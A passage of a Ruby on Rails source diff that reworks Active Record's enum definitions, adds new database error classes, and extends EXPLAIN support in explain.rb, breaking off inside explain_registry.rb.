+  #   conversation.status = :active
+  #   conversation.valid? # => true
   module Enum
     def self.extended(base) # :nodoc:
-      base.class_attribute(:defined_enums, instance_writer: false)
-      base.defined_enums = {}
-    end
-
-    def inherited(base) # :nodoc:
-      base.defined_enums = defined_enums.deep_dup
-      super
+      base.class_attribute(:defined_enums, instance_writer: false, default: {})
     end
 
     class EnumType < Type::Value # :nodoc:
       delegate :type, to: :subtype
 
-      def initialize(name, mapping, subtype)
+      def initialize(name, mapping, subtype, raise_on_invalid_values: true)
         @name = name
         @mapping = mapping
         @subtype = subtype
+        @_raise_on_invalid_values = raise_on_invalid_values
       end
 
       def cast(value)
-        return if value.blank?
-
         if mapping.has_key?(value)
           value.to_s
         elsif mapping.has_value?(value)
           mapping.key(value)
         else
-          assert_valid_value(value)
+          value.presence
         end
       end
 
       def deserialize(value)
-        return if value.nil?
         mapping.key(subtype.deserialize(value))
       end
 
       def serialize(value)
-        mapping.fetch(value, value)
+        subtype.serialize(mapping.fetch(value, value))
+      end
+
+      def serializable?(value, &block)
+        subtype.serializable?(mapping.fetch(value, value), &block)
       end
 
       def assert_valid_value(value)
+        return unless @_raise_on_invalid_values
+
         unless value.blank? || mapping.has_key?(value) || mapping.has_value?(value)
           raise ArgumentError, "'#{value}' is not a valid #{name}"
         end
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
+      attr_reader :subtype
 
-        attr_reader :name, :mapping, :subtype
+      private
+        attr_reader :name, :mapping
     end
 
-    def enum(definitions)
-      klass = self
-      enum_prefix = definitions.delete(:_prefix)
-      enum_suffix = definitions.delete(:_suffix)
-      definitions.each do |name, values|
+    def enum(name, values = nil, **options)
+      values, options = options, {} unless values
+      _enum(name, values, **options)
+    end
+
+    private
+      def _enum(name, values, prefix: nil, suffix: nil, scopes: true, instance_methods: true, validate: false, **options)
+        values = assert_valid_enum_definition_values(values)
+        assert_valid_enum_options(options)
+
         # statuses = { }
         enum_values = ActiveSupport::HashWithIndifferentAccess.new
-        name        = name.to_sym
+        name = name.to_s
 
         # def self.statuses() statuses end
-        detect_enum_conflict!(name, name.to_s.pluralize, true)
-        klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values }
+        detect_enum_conflict!(name, name.pluralize, true)
+        singleton_class.define_method(name.pluralize) { enum_values }
+        defined_enums[name] = enum_values
 
         detect_enum_conflict!(name, name)
         detect_enum_conflict!(name, "#{name}=")
 
-        attr = attribute_alias?(name) ? attribute_alias(name) : name
-        decorate_attribute_type(attr, :enum) do |subtype|
-          EnumType.new(attr, enum_values, subtype)
+        attribute(name, **options)
+
+        decorate_attributes([name]) do |_name, subtype|
+          if subtype == ActiveModel::Type.default_value
+            raise "Undeclared attribute type for enum '#{name}' in #{self.name}. Enums must be" \
+              " backed by a database column or declared with an explicit type" \
+              " via `attribute`."
+          end
+
+          subtype = subtype.subtype if EnumType === subtype
+          EnumType.new(name, enum_values, subtype, raise_on_invalid_values: !validate)
         end
 
+        value_method_names = []
         _enum_methods_module.module_eval do
+          prefix = if prefix
+            prefix == true ? "#{name}_" : "#{prefix}_"
+          end
+
+          suffix = if suffix
+            suffix == true ? "_#{name}" : "_#{suffix}"
+          end
+
           pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
-          pairs.each do |value, i|
-            if enum_prefix == true
-              prefix = "#{name}_"
-            elsif enum_prefix
-              prefix = "#{enum_prefix}_"
-            end
-            if enum_suffix == true
-              suffix = "_#{name}"
-            elsif enum_suffix
-              suffix = "_#{enum_suffix}"
+          pairs.each do |label, value|
+            enum_values[label] = value
+            label = label.to_s
+
+            value_method_name = "#{prefix}#{label}#{suffix}"
+            value_method_names << value_method_name
+            define_enum_methods(name, value_method_name, value, scopes, instance_methods)
+
+            method_friendly_label = label.gsub(/[\W&&[:ascii:]]+/, "_")
+            value_method_alias = "#{prefix}#{method_friendly_label}#{suffix}"
+
+            if value_method_alias != value_method_name && !value_method_names.include?(value_method_alias)
+              value_method_names << value_method_alias
+              define_enum_methods(name, value_method_alias, value, scopes, instance_methods)
             end
+          end
+        end
+        detect_negative_enum_conditions!(value_method_names) if scopes
+
+        if validate
+          validate = {} unless Hash === validate
+          validates_inclusion_of name, in: enum_values.keys, **validate
+        end
+
+        enum_values.freeze
+      end
+
+      def inherited(base)
+        base.defined_enums = defined_enums.deep_dup
+        super
+      end
 
-            value_method_name = "#{prefix}#{value}#{suffix}"
-            enum_values[value] = i
+      class EnumMethods < Module # :nodoc:
+        def initialize(klass)
+          @klass = klass
+        end
 
-            # def active?() status == 0 end
-            klass.send(:detect_enum_conflict!, name, "#{value_method_name}?")
-            define_method("#{value_method_name}?") { self[attr] == value.to_s }
+        private
+          attr_reader :klass
+
+          def define_enum_methods(name, value_method_name, value, scopes, instance_methods)
+            if instance_methods
+              # def active?() status_for_database == 0 end
+              klass.send(:detect_enum_conflict!, name, "#{value_method_name}?")
+              define_method("#{value_method_name}?") { public_send(:"#{name}_for_database") == value }
+
+              # def active!() update!(status: 0) end
+              klass.send(:detect_enum_conflict!, name, "#{value_method_name}!")
+              define_method("#{value_method_name}!") { update!(name => value) }
+            end
 
-            # def active!() update! status: :active end
-            klass.send(:detect_enum_conflict!, name, "#{value_method_name}!")
-            define_method("#{value_method_name}!") { update!(attr => value) }
+            if scopes
+              # scope :active, -> { where(status: 0) }
+              klass.send(:detect_enum_conflict!, name, value_method_name, true)
+              klass.scope value_method_name, -> { where(name => value) }
 
-            # scope :active, -> { where status: 0 }
-            klass.send(:detect_enum_conflict!, name, value_method_name, true)
-            klass.scope value_method_name, -> { where(attr => value) }
+              # scope :not_active, -> { where.not(status: 0) }
+              klass.send(:detect_enum_conflict!, name, "not_#{value_method_name}", true)
+              klass.scope "not_#{value_method_name}", -> { where(predicate_builder[name, value, :is_distinct_from]) }
+            end
           end
-        end
-        defined_enums[name.to_s] = enum_values
       end
-    end
+      private_constant :EnumMethods
 
-    private
       def _enum_methods_module
         @_enum_methods_module ||= begin
-          mod = Module.new
+          mod = EnumMethods.new(self)
           include mod
           mod
         end
       end
 
+      def assert_valid_enum_definition_values(values)
+        case values
+        when Hash
+          if values.empty?
+            raise ArgumentError, "Enum values #{values} must not be empty."
+          end
+
+          if values.keys.any?(&:blank?)
+            raise ArgumentError, "Enum values #{values} must not contain a blank name."
+          end
+
+          values = values.transform_values do |value|
+            value.is_a?(Symbol) ? value.name : value
+          end
+
+          values.each_value do |value|
+            case value
+            when String, Integer, true, false, nil
+              # noop
+            else
+              raise ArgumentError, "Enum values #{values} must be only booleans, integers, symbols or strings, got: #{value.class}"
+            end
+          end
+
+        when Array
+          if values.empty?
+            raise ArgumentError, "Enum values #{values} must not be empty."
+          end
+
+          unless values.all?(Symbol) || values.all?(String)
+            raise ArgumentError, "Enum values #{values} must only contain symbols or strings."
+          end
+
+          if values.any?(&:blank?)
+            raise ArgumentError, "Enum values #{values} must not contain a blank name."
+          end
+        else
+          raise ArgumentError, "Enum values #{values} must be either a non-empty hash or an array."
+        end
+
+        values
+      end
+
+      def assert_valid_enum_options(options)
+        invalid_keys = options.keys & %i[_prefix _suffix _scopes _default _instance_methods]
+        unless invalid_keys.empty?
+          raise ArgumentError, "invalid option(s): #{invalid_keys.map(&:inspect).join(", ")}. Valid options are: :prefix, :suffix, :scopes, :default, :instance_methods, and :validate."
+        end
+      end
+
       ENUM_CONFLICT_MESSAGE = \
         "You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
-        "this will generate a %{type} method \"%{method}\", which is already defined " \
+        "this will generate %{type} method \"%{method}\", which is already defined " \
         "by %{source}."
+      private_constant :ENUM_CONFLICT_MESSAGE
 
       def detect_enum_conflict!(enum_name, method_name, klass_method = false)
         if klass_method && dangerous_class_method?(method_name)
-          raise_conflict_error(enum_name, method_name, type: "class")
+          raise_conflict_error(enum_name, method_name, "a class")
+        elsif klass_method && method_defined_within?(method_name, Relation)
+          raise_conflict_error(enum_name, method_name, "a class", source: Relation.name)
+        elsif klass_method && method_name.to_sym == :id
+          raise_conflict_error(enum_name, method_name, "an instance")
         elsif !klass_method && dangerous_attribute_method?(method_name)
-          raise_conflict_error(enum_name, method_name)
+          raise_conflict_error(enum_name, method_name, "an instance")
         elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
-          raise_conflict_error(enum_name, method_name, source: "another enum")
+          raise_conflict_error(enum_name, method_name, "an instance", source: "another enum")
         end
       end
 
-      def raise_conflict_error(enum_name, method_name, type: "instance", source: "Active Record")
+      def raise_conflict_error(enum_name, method_name, type, source: "Active Record")
         raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
           enum: enum_name,
           klass: name,
@@ -235,5 +410,18 @@ def raise_conflict_error(enum_name, method_name, type: "instance", source: "Acti
           source: source
         }
       end
+
+      def detect_negative_enum_conditions!(method_names)
+        return unless logger
+
+        method_names.select { |m| m.start_with?("not_") }.each do |potential_not|
+          inverted_form = potential_not.sub("not_", "")
+          if method_names.include?(inverted_form)
+            logger.warn "Enum element '#{potential_not}' in #{self.name} uses the prefix 'not_'." \
+              " This has caused a conflict with auto generated negative scopes." \
+              " Avoid using enum elements starting with 'not' where the positive form is also an element."
+          end
+        end
+      end
   end
 end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index 18fac5af1b0a4..9cdf77e2e8645 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -1,4 +1,9 @@
+# frozen_string_literal: true
+
+
 module ActiveRecord
+  include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+
   # = Active Record Errors
   #
   # Generic Active Record exception class.
@@ -7,7 +12,7 @@ class ActiveRecordError < StandardError
 
   # Raised when the single-table inheritance mechanism fails to locate the subclass
   # (for example due to improper usage of column that
-  # {ActiveRecord::Base.inheritance_column}[rdoc-ref:ModelSchema::ClassMethods#inheritance_column]
+  # {ActiveRecord::Base.inheritance_column}[rdoc-ref:ModelSchema.inheritance_column]
   # points to).
   class SubclassNotFound < ActiveRecordError
   end
@@ -36,15 +41,100 @@ class SerializationTypeMismatch < ActiveRecordError
   class AdapterNotSpecified < ActiveRecordError
   end
 
+  # Raised when a model makes a query but it has not specified an associated table.
+  class TableNotSpecified < ActiveRecordError
+  end
+
   # Raised when Active Record cannot find database adapter specified in
   # +config/database.yml+ or programmatically.
   class AdapterNotFound < ActiveRecordError
   end
 
+  # Superclass for all errors raised from an Active Record adapter.
+  class AdapterError < ActiveRecordError
+    def initialize(message = nil, connection_pool: nil)
+      @connection_pool = connection_pool
+      super(message)
+    end
+
+    attr_reader :connection_pool
+  end
+
   # Raised when connection to the database could not been established (for example when
-  # {ActiveRecord::Base.connection=}[rdoc-ref:ConnectionHandling#connection]
+  # {ActiveRecord::Base.lease_connection=}[rdoc-ref:ConnectionHandling#lease_connection]
   # is given a +nil+ object).
-  class ConnectionNotEstablished < ActiveRecordError
+  class ConnectionNotEstablished < AdapterError
+    def initialize(message = nil, connection_pool: nil)
+      super(message, connection_pool: connection_pool)
+    end
+
+    def set_pool(connection_pool)
+      unless @connection_pool
+        @connection_pool = connection_pool
+      end
+
+      self
+    end
+  end
+
+  # Raised when a connection could not be obtained within the connection
+  # acquisition timeout period: because max connections in pool
+  # are in use.
+  class ConnectionTimeoutError < ConnectionNotEstablished
+  end
+
+  # Raised when a database connection pool is requested but
+  # has not been defined.
+  class ConnectionNotDefined < ConnectionNotEstablished
+    def initialize(message = nil, connection_name: nil, role: nil, shard: nil)
+      super(message)
+      @connection_name = connection_name
+      @role = role
+      @shard = shard
+    end
+
+    attr_reader :connection_name, :role, :shard
+  end
+
+  # Raised when connection to the database could not been established because it was not
+  # able to connect to the host or when the authorization failed.
+  class DatabaseConnectionError < ConnectionNotEstablished
+    def initialize(message = nil)
+      super(message || "Database connection error")
+    end
+
+    class << self
+      def hostname_error(hostname)
+        DatabaseConnectionError.new(<<~MSG)
+          There is an issue connecting with your hostname: #{hostname}.\n
+          Please check your database configuration and ensure there is a valid connection to your database.
+        MSG
+      end
+
+      def username_error(username)
+        DatabaseConnectionError.new(<<~MSG)
+          There is an issue connecting to your database with your username/password, username: #{username}.\n
+          Please check your database configuration to ensure the username/password are valid.
+        MSG
+      end
+    end
+  end
+
+  # Raised when a pool was unable to get ahold of all its connections
+  # to perform a "group" action such as
+  # {ActiveRecord::Base.connection_pool.disconnect!}[rdoc-ref:ConnectionAdapters::ConnectionPool#disconnect!]
+  # or {ActiveRecord::Base.connection_handler.clear_reloadable_connections!}[rdoc-ref:ConnectionAdapters::ConnectionHandler#clear_reloadable_connections!].
+  class ExclusiveConnectionTimeoutError < ConnectionTimeoutError
+  end
+
+  # Raised when a write to the database is attempted on a read only connection.
+  class ReadOnlyError < ActiveRecordError
+  end
+
+  # Raised when shard swapping is attempted on a connection that prohibits it.
+  # See {ActiveRecord::ConnectionHandling#prohibit_shard_swapping}[rdoc-ref:ConnectionHandling#prohibit_shard_swapping].
+  class ShardSwapProhibitedError < ArgumentError
+    # This subclasses ArgumentError for backwards compatibility.
   end
 
   # Raised when Active Record cannot find a record by given id or set of ids.
@@ -61,8 +151,18 @@ def initialize(message = nil, model = nil, primary_key = nil, id = nil)
   end
 
   # Raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and
-  # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!]
-  # methods when a record is invalid and can not be saved.
+  # {ActiveRecord::Base.update_attribute!}[rdoc-ref:Persistence#update_attribute!]
+  # methods when a record failed to validate or cannot be saved due to any of the
+  # <tt>before_*</tt> callbacks throwing +:abort+. See
+  # ActiveRecord::Callbacks for further details.
+  #
+  #   class Product < ActiveRecord::Base
+  #     before_save do
+  #       throw :abort if price < 0
+  #     end
+  #   end
+  #
+  #   Product.create! # => raises an ActiveRecord::RecordNotSaved
   class RecordNotSaved < ActiveRecordError
     attr_reader :record
 
@@ -73,15 +173,17 @@ def initialize(message = nil, record = nil)
   end
 
   # Raised by {ActiveRecord::Base#destroy!}[rdoc-ref:Persistence#destroy!]
-  # when a call to {#destroy}[rdoc-ref:Persistence#destroy!]
-  # would return false.
+  # when a record cannot be destroyed due to any of the
+  # <tt>before_destroy</tt> callbacks throwing +:abort+. See
+  # ActiveRecord::Callbacks for further details.
   #
-  #   begin
-  #     complex_operation_that_internally_calls_destroy!
-  #   rescue ActiveRecord::RecordNotDestroyed => invalid
-  #     puts invalid.record.errors
+  #   class User < ActiveRecord::Base
+  #     before_destroy do
+  #       throw :abort if still_active?
+  #     end
   #   end
   #
+  #   User.first.destroy! # => raises an ActiveRecord::RecordNotDestroyed
   class RecordNotDestroyed < ActiveRecordError
     attr_reader :record
 
@@ -91,12 +193,35 @@ def initialize(message = nil, record = nil)
     end
   end
 
+  # Raised when Active Record finds multiple records but only expected one.
+  class SoleRecordExceeded < ActiveRecordError
+    attr_reader :record
+
+    def initialize(record = nil)
+      @record = record
+      super "Wanted only one #{record&.name || "record"}"
+    end
+  end
+
   # Superclass for all database execution errors.
   #
   # Wraps the underlying database error as +cause+.
-  class StatementInvalid < ActiveRecordError
-    def initialize(message = nil)
-      super(message || $!.try(:message))
+  class StatementInvalid < AdapterError
+    def initialize(message = nil, sql: nil, binds: nil, connection_pool: nil)
+      super(message || $!&.message, connection_pool: connection_pool)
+      @sql = sql
+      @binds = binds
+    end
+
+    attr_reader :sql, :binds
+
+    def set_query(sql, binds)
+      unless @sql
+        @sql = sql
+        @binds = binds
+      end
+
+      self
     end
   end
 
@@ -105,26 +230,42 @@ def initialize(message = nil)
   class WrappedDatabaseException < StatementInvalid
   end
 
-  # Raised when a record cannot be inserted because it would violate a uniqueness constraint.
+  # Raised when a record cannot be inserted or updated because it would violate a uniqueness constraint.
   class RecordNotUnique < WrappedDatabaseException
   end
 
-  # Raised when a record cannot be inserted or updated because it references a non-existent record.
+  # Raised when a record cannot be inserted or updated because it references a non-existent record,
+  # or when a record cannot be deleted because a parent record references it.
   class InvalidForeignKey < WrappedDatabaseException
   end
 
   # Raised when a foreign key constraint cannot be added because the column type does not match the referenced column type.
   class MismatchedForeignKey < StatementInvalid
-    def initialize(adapter = nil, message: nil, table: nil, foreign_key: nil, target_table: nil, primary_key: nil)
-      @adapter = adapter
+    def initialize(
+      message: nil,
+      sql: nil,
+      binds: nil,
+      table: nil,
+      foreign_key: nil,
+      target_table: nil,
+      primary_key: nil,
+      primary_key_column: nil,
+      query_parser: nil,
+      connection_pool: nil
+    )
+      @original_message = message
+      @query_parser = query_parser
+
       if table
-        msg = <<-EOM.strip_heredoc
-          Column `#{foreign_key}` on table `#{table}` has a type of `#{column_type(table, foreign_key)}`.
-          This does not match column `#{primary_key}` on `#{target_table}`, which has type `#{column_type(target_table, primary_key)}`.
-          To resolve this issue, change the type of the `#{foreign_key}` column on `#{table}` to be :integer. (For example `t.integer #{foreign_key}`).
+        type = primary_key_column.bigint? ? :bigint : primary_key_column.type
+        msg = <<~EOM.squish
+          Column `#{foreign_key}` on table `#{table}` does not match column `#{primary_key}` on `#{target_table}`,
+          which has type `#{primary_key_column.sql_type}`.
+          To resolve this issue, change the type of the `#{foreign_key}` column on `#{table}` to be :#{type}.
+          (For example `t.#{type} :#{foreign_key}`).
         EOM
       else
-        msg = <<-EOM
+        msg = <<~EOM.squish
           There is a mismatch between the foreign key and primary key column types.
           Verify that the foreign key column type and the primary key of the associated table match types.
         EOM
@@ -132,19 +273,39 @@ def initialize(adapter = nil, message: nil, table: nil, foreign_key: nil, target
       if message
         msg << "\nOriginal message: #{message}"
       end
-      super(msg)
+
+      super(msg, sql: sql, binds: binds, connection_pool: connection_pool)
     end
 
-    private
-      def column_type(table, column)
-        @adapter.columns(table).detect { |c| c.name == column }.sql_type
+    def set_query(sql, binds)
+      if @query_parser && !@sql
+        self.class.new(
+          message: @original_message,
+          sql: sql,
+          binds: binds,
+          connection_pool: @connection_pool,
+          **@query_parser.call(sql)
+        ).tap do |exception|
+          exception.set_backtrace backtrace
+        end
+      else
+        super
       end
+    end
   end
 
   # Raised when a record cannot be inserted or updated because it would violate a not null constraint.
   class NotNullViolation < StatementInvalid
   end
 
+  # Raised when a record cannot be inserted or updated because it would violate a check constraint.
+  class CheckViolation < StatementInvalid
+  end
+
+  # Raised when a record cannot be inserted or updated because it would violate an exclusion constraint.
+  class ExclusionViolation < StatementInvalid
+  end
+
   # Raised when a record cannot be inserted or updated because a value too long for a column type.
   class ValueTooLong < StatementInvalid
   end
@@ -153,9 +314,22 @@ class ValueTooLong < StatementInvalid
   class RangeError < StatementInvalid
   end
 
-  # Raised when number of bind variables in statement given to +:condition+ key
-  # (for example, when using {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] method)
-  # does not match number of expected values supplied.
+  # Raised when a statement produces an SQL warning.
+  class SQLWarning < AdapterError
+    attr_reader :code, :level
+    attr_accessor :sql
+
+    def initialize(message = nil, code = nil, level = nil, sql = nil, connection_pool = nil)
+      super(message, connection_pool: connection_pool)
+      @code = code
+      @level = level
+      @sql = sql
+    end
+  end
+
+  # Raised when the number of placeholders in an SQL fragment passed to
+  # {ActiveRecord::Base.where}[rdoc-ref:QueryMethods#where]
+  # does not match the number of values supplied.
   #
   # For example, when there are two placeholders with only one value supplied:
   #
@@ -165,9 +339,38 @@ class PreparedStatementInvalid < ActiveRecordError
 
   # Raised when a given database does not exist.
   class NoDatabaseError < StatementInvalid
+    include ActiveSupport::ActionableError
+
+    action "Create database" do
+      ActiveRecord::Tasks::DatabaseTasks.create_current
+    end
+
+    def initialize(message = nil, connection_pool: nil)
+      super(message || "Database not found", connection_pool: connection_pool)
+    end
+
+    class << self
+      def db_error(db_name)
+        NoDatabaseError.new(<<~MSG)
+          Database not found: #{db_name}. Available database configurations can be found in config/database.yml.
+
+          To resolve this error:
+
+          - Create the database by running:
+
+              bin/rails db:create
+
+          - Verify that config/database.yml contains the correct database name.
+        MSG
+      end
+    end
   end
 
-  # Raised when Postgres returns 'cached plan must not change result type' and
+  # Raised when creating a database if it exists.
+  class DatabaseAlreadyExists < StatementInvalid
+  end
+
+  # Raised when PostgreSQL returns 'cached plan must not change result type' and
   # we cannot retry gracefully (e.g. inside a transaction)
   class PreparedStatementCacheExpired < StatementInvalid
   end
@@ -204,6 +407,16 @@ class ConfigurationError < ActiveRecordError
   class ReadOnlyRecord < ActiveRecordError
   end
 
+  # Raised on attempt to lazily load records that are marked as strict loading.
+  #
+  # You can resolve this error by eager loading marked records before accessing
+  # them. The
+  # {Eager Loading Associations}[https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations]
+  # guide covers solutions, such as using
+  # {ActiveRecord::Base.includes}[rdoc-ref:QueryMethods#includes].
+  class StrictLoadingViolationError < ActiveRecordError
+  end
+
   # {ActiveRecord::Base.transaction}[rdoc-ref:Transactions::ClassMethods#transaction]
   # uses this exception to distinguish a deliberate rollback from other exceptional situations.
   # Normally, raising an exception will cause the
@@ -223,7 +436,7 @@ class ReadOnlyRecord < ActiveRecordError
   #           # The system must fail on Friday so that our support department
   #           # won't be out of job. We silently rollback this transaction
   #           # without telling the user.
-  #           raise ActiveRecord::Rollback, "Call tech support!"
+  #           raise ActiveRecord::Rollback
   #         end
   #       end
   #       # ActiveRecord::Rollback is the only exception that won't be passed on
@@ -244,7 +457,7 @@ class DangerousAttributeError < ActiveRecordError
   UnknownAttributeError = ActiveModel::UnknownAttributeError
 
   # Raised when an error occurred while doing a mass assignment to an attribute through the
-  # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method.
+  # {ActiveRecord::Base#attributes=}[rdoc-ref:ActiveModel::AttributeAssignment#attributes=] method.
   # The exception has an +attribute+ property that is the name of the offending attribute.
   class AttributeAssignmentError < ActiveRecordError
     attr_reader :exception, :attribute
@@ -257,7 +470,7 @@ def initialize(message = nil, exception = nil, attribute = nil)
   end
 
   # Raised when there are multiple errors while doing a mass assignment through the
-  # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=]
+  # {ActiveRecord::Base#attributes=}[rdoc-ref:ActiveModel::AttributeAssignment#attributes=]
   # method. The exception has an +errors+ property that contains an array of AttributeAssignmentError
   # objects, each corresponding to the error while assigning to an attribute.
   class MultiparameterAssignmentErrors < ActiveRecordError
@@ -290,12 +503,13 @@ def initialize(model = nil, description = nil)
   #   end
   #
   #   relation = Task.all
+  #   relation.load
   #   relation.loaded? # => true
   #
   #   # Methods which try to mutate a loaded relation fail.
-  #   relation.where!(title: 'TODO')  # => ActiveRecord::ImmutableRelation
-  #   relation.limit!(5)              # => ActiveRecord::ImmutableRelation
-  class ImmutableRelation < ActiveRecordError
+  #   relation.where!(title: 'TODO')  # => ActiveRecord::UnmodifiableRelation
+  #   relation.limit!(5)              # => ActiveRecord::UnmodifiableRelation
+  class UnmodifiableRelation < ActiveRecordError
   end
 
   # TransactionIsolationError will be raised under the following conditions:
@@ -304,32 +518,119 @@ class ImmutableRelation < ActiveRecordError
   # * You are joining an existing open transaction
   # * You are creating a nested (savepoint) transaction
   #
-  # The mysql2 and postgresql adapters support setting the transaction isolation level.
+  # The mysql2, trilogy, and postgresql adapters support setting the transaction isolation level.
   class TransactionIsolationError < ActiveRecordError
   end
 
   # TransactionRollbackError will be raised when a transaction is rolled
   # back by the database due to a serialization failure or a deadlock.
   #
+  # These exceptions should not be generally rescued in nested transaction
+  # blocks, because they have side-effects in the actual enclosing transaction
+  # and internal Active Record state. They can be rescued if you are above the
+  # root transaction block, though.
+  #
+  # In that case, beware of transactional tests, however, because they run test
+  # cases in their own umbrella transaction. If you absolutely need to handle
+  # these exceptions in tests please consider disabling transactional tests in
+  # the affected test class (<tt>self.use_transactional_tests = false</tt>).
+  #
+  # Due to the aforementioned side-effects, this exception should not be raised
+  # manually by users.
+  #
   # See the following:
   #
-  # * http://www.postgresql.org/docs/current/static/transaction-iso.html
-  # * https://dev.mysql.com/doc/refman/5.7/en/error-messages-server.html#error_er_lock_deadlock
+  # * https://www.postgresql.org/docs/current/static/transaction-iso.html
+  # * https://dev.mysql.com/doc/mysql-errors/en/server-error-reference.html#error_er_lock_deadlock
   class TransactionRollbackError < StatementInvalid
   end
 
+  # AsynchronousQueryInsideTransactionError will be raised when attempting
+  # to perform an asynchronous query from inside a transaction
+  class AsynchronousQueryInsideTransactionError < ActiveRecordError
+  end
+
   # SerializationFailure will be raised when a transaction is rolled
   # back by the database due to a serialization failure.
+  #
+  # This is a subclass of TransactionRollbackError, please make sure to check
+  # its documentation to be aware of its caveats.
   class SerializationFailure < TransactionRollbackError
   end
 
   # Deadlocked will be raised when a transaction is rolled
   # back by the database when a deadlock is encountered.
+  #
+  # This is a subclass of TransactionRollbackError, please make sure to check
+  # its documentation to be aware of its caveats.
   class Deadlocked < TransactionRollbackError
   end
 
+  # MissingRequiredOrderError is raised when a relation requires ordering but
+  # lacks any +order+ values in scope or any model order columns to use.
+  class MissingRequiredOrderError < ActiveRecordError
+  end
+
   # IrreversibleOrderError is raised when a relation's order is too complex for
   # +reverse_order+ to automatically reverse.
   class IrreversibleOrderError < ActiveRecordError
   end
+
+  # Superclass for errors that have been aborted (either by client or server).
+  class QueryAborted < StatementInvalid
+  end
+
+  # LockWaitTimeout will be raised when lock wait timeout exceeded.
+  class LockWaitTimeout < StatementInvalid
+  end
+
+  # StatementTimeout will be raised when statement timeout exceeded.
+  class StatementTimeout < QueryAborted
+  end
+
+  # QueryCanceled will be raised when canceling statement due to user request.
+  class QueryCanceled < QueryAborted
+  end
+
+  # AdapterTimeout will be raised when database clients times out while waiting from the server.
+  class AdapterTimeout < QueryAborted
+  end
+
+  # ConnectionFailed will be raised when the network connection to the
+  # database fails while sending a query or waiting for its result.
+  class ConnectionFailed < QueryAborted
+  end
+
+  # UnknownAttributeReference is raised when an unknown and potentially unsafe
+  # value is passed to a query method. For example, passing a non column name
+  # value to a relation's #order method might cause this exception.
+  #
+  # When working around this exception, caution should be taken to avoid SQL
+  # injection vulnerabilities when passing user-provided values to query
+  # methods. Known-safe values can be passed to query methods by wrapping them
+  # in Arel.sql.
+  #
+  # For example, the following code would raise this exception:
+  #
+  #   Post.order("REPLACE(title, 'misc', 'zzzz') asc").pluck(:id)
+  #
+  # The desired result can be accomplished by wrapping the known-safe string
+  # in Arel.sql:
+  #
+  #   Post.order(Arel.sql("REPLACE(title, 'misc', 'zzzz') asc")).pluck(:id)
+  #
+  # Again, such a workaround should *not* be used when passing user-provided
+  # values, such as request parameters or model attributes to query methods.
+  class UnknownAttributeReference < ActiveRecordError
+  end
+
+  # DatabaseVersionError will be raised when the database version is not supported, or when
+  # the database version cannot be determined.
+  class DatabaseVersionError < ActiveRecordError
+  end
+
+  class DeprecatedAssociationError < ActiveRecordError
+  end
 end
+
+require "active_record/associations/errors"
diff --git a/activerecord/lib/active_record/explain.rb b/activerecord/lib/active_record/explain.rb
index 8f7ae2c33cd9e..c133154bc1f4d 100644
--- a/activerecord/lib/active_record/explain.rb
+++ b/activerecord/lib/active_record/explain.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record/explain_registry"
 
 module ActiveRecord
@@ -5,7 +7,7 @@ module Explain
     # Executes the block with the collect flag enabled. Queries are collected
     # asynchronously by the subscriber and returned.
     def collecting_queries_for_explain # :nodoc:
-      ExplainRegistry.collect = true
+      ExplainRegistry.start
       yield
       ExplainRegistry.queries
     ensure
@@ -14,17 +16,18 @@ def collecting_queries_for_explain # :nodoc:
 
     # Makes the adapter execute EXPLAIN for the tuples of queries and bindings.
     # Returns a formatted string ready to be logged.
-    def exec_explain(queries) # :nodoc:
-      str = queries.map do |sql, binds|
-        msg = "EXPLAIN for: #{sql}"
-        unless binds.empty?
-          msg << " "
-          msg << binds.map { |attr| render_bind(attr) }.inspect
-        end
-        msg << "\n"
-        msg << connection.explain(sql, binds)
-      end.join("\n")
-
+    def exec_explain(queries, options = []) # :nodoc:
+      str = with_connection do |c|
+        queries.map do |sql, binds|
+          msg = +"#{build_explain_clause(c, options)} #{sql}"
+          unless binds.empty?
+            msg << " "
+            msg << binds.map { |attr| render_bind(c, attr) }.inspect
+          end
+          msg << "\n"
+          msg << c.explain(sql, binds, options)
+        end.join("\n")
+      end
       # Overriding inspect to be more human readable, especially in the console.
       def str.inspect
         self
@@ -34,15 +37,27 @@ def str.inspect
     end
 
     private
-
-      def render_bind(attr)
-        value = if attr.type.binary? && attr.value
-          "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+      def render_bind(connection, attr)
+        if ActiveModel::Attribute === attr
+          value = if attr.type.binary? && attr.value
+            "<#{attr.value_for_database.to_s.bytesize} bytes of binary data>"
+          else
+            connection.type_cast(attr.value_for_database)
+          end
         else
-          connection.type_cast(attr.value_for_database)
+          value = connection.type_cast(attr)
+          attr  = nil
         end
 
-        [attr.name, value]
+        [attr&.name, value]
+      end
+
+      def build_explain_clause(connection, options = [])
+        if connection.respond_to?(:build_explain_clause, true)
+          connection.build_explain_clause(options)
+        else
+          "EXPLAIN for:"
+        end
       end
   end
 end
diff --git a/activerecord/lib/active_record/explain_registry.rb b/activerecord/lib/active_record/explain_registry.rb
index ef1ce3dc85ef6..3142db8faaaa6 100644
--- a/activerecord/lib/active_record/explain_registry.rb
+++ b/activerecord/lib/active_record/explain_registry.rb
@@ -1,4 +1,5 @@
-require "active_support/per_thread_registry"
+# frozen_string_literal: true
+
 
 module ActiveRecord
   # This is a thread locals registry for EXPLAIN. For example
@@ -6,18 +7,73 @@ module ActiveRecord
   #   ActiveRecord::ExplainRegistry.queries
   #
   # returns the collected queries local to the current thread.
-  #
-  # See the documentation of ActiveSupport::PerThreadRegistry
-  # for further details.
